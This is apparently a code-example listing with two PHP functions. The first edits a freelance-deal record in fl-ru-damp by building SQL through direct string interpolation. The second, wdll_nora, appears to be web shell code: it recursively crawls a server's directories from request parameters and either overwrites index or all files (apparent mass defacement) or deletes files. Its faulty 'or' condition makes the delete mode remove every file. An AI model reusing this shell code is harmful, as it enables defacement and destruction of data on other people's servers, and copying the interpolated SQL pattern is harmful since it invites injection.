コード例 #1
0
ファイル: sbr_emp.php プロジェクト: kapai69/fl-ru-damp
 /**
  * Редактирует сделку по данным пользовательского запроса.
  *
  * @see sbr_emp::initFromRequest()
  * 
  * @param array $request данные запроса (гет, пост).
  * @param array $files   массив $_FILES с вложениями к каждому этапу.
  *
  * @return bool успешно?
  */
 private function __new_edit($request, attachedfiles $files, &$old)
 {
     $old = clone $this;
     $attached = $files->getFiles(array(1, 4), true);
     if (!$this->_new_initFromRequest($request, $attached, $old)) {
         return false;
     }
     if (!$this->_openXact(true)) {
         return false;
     }
     if ($this->_delstages) {
         foreach ($this->_delstages as $dstage) {
             if (!$dstage->delete($old->isDraft())) {
                 $this->_abortXact();
                 return false;
             }
         }
     }
     $sql_data = $this->_preSql(true);
     $sql = "\n          UPDATE sbr\n             SET name = '{$sql_data['name']}',\n                 frl_id = {$sql_data['frl_id']},\n                 cost_sys = {$sql_data['cost_sys']},\n                 is_draft = '{$sql_data['is_draft']}',\n                 scheme_type = {$sql_data['scheme_type']}\n           WHERE id = {$this->data['id']}\n             AND emp_id = {$this->uid}\n        ";
     if (!($res = pg_query(self::connect(false), $sql)) || !pg_affected_rows($res)) {
         $this->_abortXact();
         return false;
     }
     // Ситуация когда редактируем сделку (отправляем из черновиков) а в ней нет офферт, тогда просто генерируем их
     if ($this->scheme_type == sbr::SCHEME_LC) {
         $docs = $this->getDocs();
         foreach ($docs as $doc) {
             if ($doc['type'] == sbr::DOCS_TYPE_OFFER) {
                 $offers_doc[] = $doc['file_id'];
             }
         }
         if (count($offers_doc) != 2) {
             $doc_delete = current($offers_doc);
             // Удаляем, если одна оферта сгенерировалась уже, а вторая нет
             if ($doc_delete) {
                 $doc_file = CFile($doc_delete);
                 $doc_file->delete();
             }
             if ($doc_file = $this->generateAgreement($err)) {
                 $doc = array('file_id' => $doc_file->id, 'status' => sbr::DOCS_STATUS_SIGN, 'access_role' => sbr::DOCS_ACCESS_ALL, 'owner_role' => 0, 'type' => sbr::DOCS_TYPE_OFFER, 'subtype' => 2);
                 $this->addDocR($doc);
             }
             if (!$err) {
                 if ($doc_file = $this->generateContract($err)) {
                     $doc = array('file_id' => $doc_file->id, 'status' => sbr::DOCS_STATUS_SIGN, 'access_role' => sbr::DOCS_ACCESS_ALL, 'owner_role' => 0, 'type' => sbr::DOCS_TYPE_OFFER, 'subtype' => 1);
                     $this->addDocR($doc);
                 }
             }
             if ($err) {
                 $this->_abortXact();
                 unset($this->data['id']);
                 return false;
             }
         }
     }
     ////////////////////////
     pg_query(self::connect(false), "SELECT sbr_trigger_fvrs_gt_vrs('sbr', {$this->data['id']})");
     ////////////////////////
     foreach ($this->stages as $stage) {
         if ($this->scheme_type == sbr::SCHEME_LC && ($this->data['state'] == pskb::STATE_NEW || $this->data['state'] == pskb::STATE_FORM || $this->data['status'] >= sbr::STATUS_CHANGED)) {
             $cur_stage = $this->initFromStage($stage->id, false);
             $stage->data['cost'] = $cur_stage->cost;
         }
         if ($this->data['delstages'][$stage->id] || $this->data['stage_id'] && $stage->id != $this->data['stage_id'] || $stage->isFixedState()) {
             continue;
         }
         if (!($stage->id ? $stage->edit() : $stage->_new_create())) {
             $this->_abortXact();
             return false;
         }
     }
     // записываем профессию сделки
     //$this->saveProfessions(); при редактировании ничего не записываем
     $this->_commitXact();
     return true;
 }
コード例 #2
0
function wdll_nora($dih, $path, $fin = '', $skid = '')
{
    global $words, $wordonly, $sesir, $serdir, $sea, $msi, $lop, $fin;
    while (false !== ($file = @readdir($dih))) {
        $dir = $path . '/' . $file;
        if (@is_dir($dir) && $file != '.' && $file != '..' && $file != $skid) {
            $wok = @opendir($dir) or die("<br><b>Permision denied! undable to open dir {$file}");
            wdll_nora($wok, $dir, $fin, $skid);
        } elseif ($file != '.' && $file != '..' && $file != $skid) {
            if ($_REQUEST["find"]) {
                if ($file == $fin) {
                    wdll_rep($dir, $path, $file);
                }
            }
            if ($lop == '1') {
                switch ($_REQUEST["sea"]) {
                    case 'cepr':
                        if (!CFile($dir, $words)) {
                            wdll_rep($dir, $path, $file);
                        }
                        break;
                    case 'cewo':
                        if (!CFile($dir, $wordonly)) {
                            wdll_rep($dir, $path, $file);
                        }
                        break;
                    case 'cefi':
                        if (similar_text($file, $words) >= 3) {
                            wdll_rep($dir, $path, $file);
                        }
                        break;
                    case 'cefn':
                        if ($file == $words) {
                            wdll_rep($dir, $path, $file);
                        }
                        break;
                    case 'cefm':
                        $perm = substr(decoct(@fileperms($dir)), -3, 3);
                        if ($perm == $words) {
                            wdll_rep($dir, $path, $file);
                        }
                        break;
                    case 'ceft':
                        $xtr = @pathinfo($file);
                        $extt = $xtr["extension"];
                        if ($extt == $words) {
                            wdll_rep($dir, $path, $file);
                        }
                        break;
                    default:
                        echo "<a href=\"javascript: history.go(-1)\">Back....&nbsp;</a>";
                        die('PLZ Select Search Mode');
                }
            }
            if ($lop == '2') {
                switch ($_REQUEST["msi"]) {
                    case 'msfi':
                        if ($file == 'index.php' or $file == 'home.php' or $file == 'index.aspx' or $file == 'index.html' or $file == 'index.htm') {
                            fiindex($dir);
                        }
                        break;
                    case 'msfa':
                        if (@is_file($dir)) {
                            fiindex($dir);
                        }
                        break;
                    case 'msfr':
                        if ($file != 'index.php' or $file != 'home.php' or $file != 'home.aspx' or $file != 'index.html' or $file != 'index.htm') {
                            delf($dir);
                        }
                        break;
                }
            }
        }
    }
    @closedir($dih);
}